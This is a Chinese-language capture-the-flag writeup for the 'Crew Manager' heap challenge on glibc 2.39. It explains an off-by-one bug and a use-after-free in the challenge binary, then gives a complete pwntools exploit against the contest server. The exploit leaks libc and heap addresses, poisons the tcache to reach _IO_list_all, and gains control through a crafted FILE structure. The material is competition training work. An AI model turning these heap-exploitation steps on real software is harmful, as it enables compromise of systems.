京麒 CTF 初赛 Crew Manager Writeup
glibc 2.39 菜单堆。逆向得出堆块结构体:
struct Member
{
int64_t backup_size;
char* backup;
char name[0x20];
char department[0x18];
int32_t level;
int32_t index;
int64_t create_time;
uint64_t checksum;
};
写出各功能交互模板:
itob = lambda x: str(x).encode()
print_leaked = lambda name, addr: success(f'{name}: 0x{addr:x}')
def manage(index: int):
"""index < 0x10"""
io.sendlineafter(b'Choice: ', b'1')
io.sendlineafter(b'index: ', itob(index))
def crew_add(index: int, name: bytes, department: bytes, backup_size: int, backup: bytes):
"""sizeof(name) <= 0x1f, sizeof(department) <= 0x17, backup_size <= 0x500"""
manage(index)
io.sendlineafter(b'Name: ', name)
io.sendlineafter(b'Department: ', department)
io.sendlineafter(b'32: ', itob(backup_size))
io.sendafter(b'data: ', backup)
def crew_edit(index: int, name: bytes, department: bytes):
manage(index)
io.sendlineafter(b'> ', b'1')
io.sendlineafter(b'Name: ', name)
io.sendlineafter(b'department: ', department)
def crew_promote(index: int):
manage(index)
io.sendlineafter(b'> ', b'2')
def crew_demote(index: int):
manage(index)
io.sendlineafter(b'> ', b'3')
def crew_delete(index: int):
manage(index)
io.sendlineafter(b'> ', b'4')
def crew_randomize(index: int):
manage(index)
io.sendlineafter(b'> ', b'5')
def crew_summary():
io.sendlineafter(b'Choice: ', b'2')
def backup(index: int):
io.sendlineafter(b'Choice: ', b'3')
io.sendlineafter(b'Index: ', itob(index))
def backup_view(index: int):
backup(index)
io.sendlineafter(b'> ', b'1')
def backup_edit(index: int, data: bytes):
backup(index)
io.sendlineafter(b'> ', b'2')
io.sendafter(b'content: ', data)
def backup_invert(index: int):
backup(index)
io.sendlineafter(b'> ', b'3')
def global_init(global_data: bytes):
"""sizeof(global_data) <= 0x200"""
io.sendlineafter(b'Choice: ', b'4')
io.sendlineafter(b'>: ', b'1')
io.sendafter(b'global data: ', global_data)
def global_view():
io.sendlineafter(b'Choice: ', b'4')
io.sendlineafter(b'>: ', b'2')
def global_free():
io.sendlineafter(b'Choice: ', b'4')
io.sendlineafter(b'>: ', b'3')
def global_xor():
io.sendlineafter(b'Choice: ', b'4')
io.sendlineafter(b'>: ', b'4')
global_Hash+Append 时可能 off_by_one 写入 ']':
global_init(bytes([(i * 0x25 + 1) % 256 for i in range(0, 0x200)]))
global_xor()
这个不是重点,重点在 backup data 在长度输入错误时程序继续运行且不会覆盖残留的 backup data chunk addr,可以有 UAF。于是可以通过让 unsorted bin chunk bk
与 backup
重合以泄露基址以及构造假堆块:
crew_add(0, b'a', b'b', 0x500, b'1') # libc leak
crew_add(1, b'a', b'b', 0x20, b'1') # padding
crew_delete(0) # leak libc
crew_add(0, b'a', b'b', 0) # padding
crew_add(2, b'2222', b'2222', 0) # unsorted -> backup
libc.address = u64(backup_view(2).ljust(8, b'\x00')) - 0x202f40 - 0x1000
print_leaked('libc_base', libc.address)
crew_add(3, b'2222', b'2222', 0) # unsorted -> backup
heap_base = u64(backup_view(3).ljust(8, b'\x00')) - 0x8b0
print_leaked('heap_base', heap_base)
Exp:
#!/usr/bin/python
from pwn import *
from ctypes import *
itob = lambda x: str(x).encode()
print_leaked = lambda name, addr: success(f'{name}: 0x{addr:x}')
context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug')
binary = './pwn'
# io = process(binary)
io = connect('39.106.16.204', 46959)
e = ELF(binary)
libc = ELF('./libc.so.6', checksec=False)
# gdb.attach(io, 'set exception-verbose on')
def _manage(index: int):
"""index < 0x10"""
io.sendlineafter(b'Choice: ', b'1')
io.sendlineafter(b'index: ', itob(index))
def crew_add(index: int, name: bytes, department: bytes, backup_size: int, backup: bytes | None = None):
"""sizeof(name) <= 0x1f, sizeof(department) <= 0x17, backup_size <= 0x500"""
_manage(index)
io.sendlineafter(b'Name: ', name)
io.sendlineafter(b'Department: ', department)
io.sendlineafter(b'32: ', itob(backup_size))
if backup is not None:
io.sendafter(b'data: ', backup)
def crew_edit(index: int, name: bytes, department: bytes):
_manage(index)
io.sendlineafter(b'> ', b'1')
io.sendlineafter(b'Name: ', name)
io.sendlineafter(b'department: ', department)
def crew_promote(index: int):
_manage(index)
io.sendlineafter(b'> ', b'2')
def crew_demote(index: int):
_manage(index)
io.sendlineafter(b'> ', b'3')
def crew_delete(index: int):
_manage(index)
io.sendlineafter(b'> ', b'4')
def crew_randomize(index: int):
_manage(index)
io.sendlineafter(b'> ', b'5')
def crew_summary():
io.sendlineafter(b'Choice: ', b'2')
def _backup(index: int):
io.sendlineafter(b'Choice: ', b'3')
io.sendlineafter(b'Index: ', itob(index))
def backup_view(index: int) -> bytes:
_backup(index)
io.sendlineafter(b'> ', b'1')
io.recvuntil(b'Backup @ ')
io.recvuntil(b': ')
return io.recvline(False)
def backup_edit(index: int, data: bytes):
_backup(index)
io.sendlineafter(b'> ', b'2')
io.sendafter(b'content: ', data)
def backup_invert(index: int):
_backup(index)
io.sendlineafter(b'> ', b'3')
def global_init(global_data: bytes):
"""sizeof(global_data) <= 0x200"""
io.sendlineafter(b'Choice: ', b'4')
io.sendlineafter(b'> ', b'1')
io.sendafter(b'data: ', global_data)
def global_view():
io.sendlineafter(b'Choice: ', b'4')
io.sendlineafter(b'> ', b'2')
def global_free():
io.sendlineafter(b'Choice: ', b'4')
io.sendlineafter(b'> ', b'3')
def global_xor():
io.sendlineafter(b'Choice: ', b'4')
io.sendlineafter(b'> ', b'4')
def exitit():
io.sendlineafter(b'Choice: ', b'5')
crew_add(0, b'a', b'b', 0x500, b'1') # libc leak
crew_add(1, b'a', b'b', 0x20, b'1') # padding
crew_delete(0) # leak libc
crew_add(0, b'a', b'b', 0) # padding
crew_add(2, b'2222', b'2222', 0) # unsorted (libc) -> backup
libc.address = u64(backup_view(2).ljust(8, b'\x00')) - 0x202f40 - 0x1000
print_leaked('libc_base', libc.address)
crew_add(3, b'2222', b'2222', 0) # unsorted (heap) -> backup
heap_addr = u64(backup_view(3).ljust(8, b'\x00'))
heap_base = heap_addr - 0x8b0
print_leaked('heap', heap_addr)
from SomeofHouse import HouseOfSome
hos = HouseOfSome(libc=libc, controled_addr=heap_addr + 0x4000)
payload = hos.hoi_read_file_template(heap_addr + 0x4000, 0x400, heap_addr + 0x4000, 0)
crew_add(4, b'a', b'b', 0x500, b'1') # unsorted
crew_add(5, b'a', b'b', 0x500, b'1') # padding
crew_add(6, b'a', b'b', 0x500, b'1') # unsorted
crew_add(7, b'a', b'b', 0x500, payload) # padding
crew_delete(4)
crew_delete(6)
crew_add(4, b'a', b'b', 0x260, b'1')
crew_add(6, b'a', b'b', 0)
# gdb.attach(io, '')
crew_add(8, b'a', b'b', 0) # controller
crew_add(9, b'a', b'b', 0x420, b'1')
crew_add(10, b'a', b'b', 0x20, b'1') # victim
backup_edit(8, p64(0) + p64(0x71) + p64(0x20) + p64(0))
crew_add(11, b'a', b'b', 0x3f0, b'1') # padding
crew_delete(1)
crew_delete(10)
backup_edit(8, p64(0) + p64(0x71) + p64((libc.sym['_IO_list_all'] - 0x10) ^ (heap_addr >> 12))) # edit tcache next
crew_add(12, b'PwnRiK', b'L-team', 0)
crew_add(13, p64(heap_addr + 3904), b'PWNED', 0)
exitit()
hos.bomb(io)
io.interactive()